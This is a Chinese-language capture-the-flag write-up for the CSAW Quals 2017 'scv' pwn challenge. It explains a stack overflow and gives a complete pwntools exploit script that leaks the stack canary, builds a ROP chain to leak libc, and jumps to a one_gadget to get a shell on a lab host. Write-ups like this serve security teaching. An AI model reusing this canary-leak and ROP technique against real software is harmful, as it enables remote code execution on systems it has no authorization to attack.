zoukankan      html  css  js  c++  java
  • CSAW Quals CTF 2017-scv

    程序基本信息

       64位动态链接程序,开启了栈溢出和数据段不可执行保护
    

    程序漏洞

       read函数很明显的栈溢出漏洞
    

    整体思路

       由于题目给了libc,我们可以使用one_gadget获得gadget在libc中的偏移,通过泄露其他函数库的偏移计算gadget在内存中的位置。由于程序中有栈溢出保护,我们可以利用功能2,功能2的作用是puts打印我们输入的字符串,我们可以利用功能2将canary泄露出来,这样我们就可以进行栈溢出了,后面的步骤就简单了,利用rop技术即可pwn掉程序。
    

    exp脚本

    #!/usr/bin/python
    #coding:utf-8
    
    from pwn import *
    
    context.update(os = 'linux', arch = 'amd64')
    
    io = remote('172.17.0.2', 10001)
    
    pop_rdi = 0x400ea3           #pop rdi;ret
    puts_plt = 0x4008d0          #puts函数plt表地址
    read_got = 0x602030        #read函数got表地址
    start = 0x4009a0               #start函数首地址
    
    io.sendline('1')		
    io.send('A'*164+'ABCDE')		#在选项1中输入168个padding字符到达canary。由于canary最后两位恒为x00防止意外泄露,因此需要多一个字符覆盖掉x00,使得canary可被字符串输出函数输出。
    sleep(0.5)
    io.sendline('2')
    io.recvuntil('ABCDE')
    canary = u64('x00'+io.recv(7))	#给canary补上x00,把被字符'B'覆盖掉的x00恢复回来,注意是大端序。
    log.info("Leak canary = %#x" %(canary))
    
    payload = ""
    payload += "A"*168		#padding
    payload += p64(canary)	#在canary应该在的位置上写canary
    payload += "B"*8		#覆盖rbp
    payload += p64(pop_rdi)	
    payload += p64(read_got)
    payload += p64(puts_plt)
    payload += p64(start)	#调用puts输出read在内存中的地址,然后回到start重新开始
    
    io.recv()
    io.sendline('1')
    io.send(payload)
    io.recv()
    io.sendline('3')		#通过选项3退出循环,从而触发栈溢出,泄露read在内存中的地址
    io.recvuntil('TIME TO MINE MIENRALS...
    ')
    read_addr = u64(io.recv()[:6]+"x00x00")	#u64()的参数必须是长度为8的字符串,手动补齐
    log.info("Leak read addr = %#x" %(read_addr))
    one_gadget_addr = read_addr - 0xf8880 + 0x45526   #计算one_gadget的地址,0xf8880跟0x45526分别为read跟gadget距离libc头部的偏移
    
    io.sendline('1')
    payload = ""
    payload += "A"*168		
    payload += p64(canary)	#在canary应该在的位置上写canary
    payload += "B"*8		#覆盖rbp
    payload += p64(one_gadget_addr)				#栈溢出触发one gadget RCE
    io.send(payload)
    io.recv()
    io.sendline('3')            #退出main程序触发栈溢出
    io.recv()
    io.interactive()
    
    

    内容参考

    Linux pwn入门教程(9)

  • 相关阅读:
    Flesch Reading Ease(模拟)
    实验一:词法分析设计
    java—容器学习笔记
    [转载]马士兵Java视频教程 —— 学习顺序
    Java的安装过程
    编程之美初赛第一场
    RCC 2014 Warmup (Div. 2)
    ural 1017. Staircases(dp)
    ural 1012. K-based Numbers. Version 2(大数dp)
    ural 1009. K-based Numbers(简单dp)
  • 原文地址:https://www.cnblogs.com/luoleqi/p/11604041.html
Copyright © 2011-2022 走看看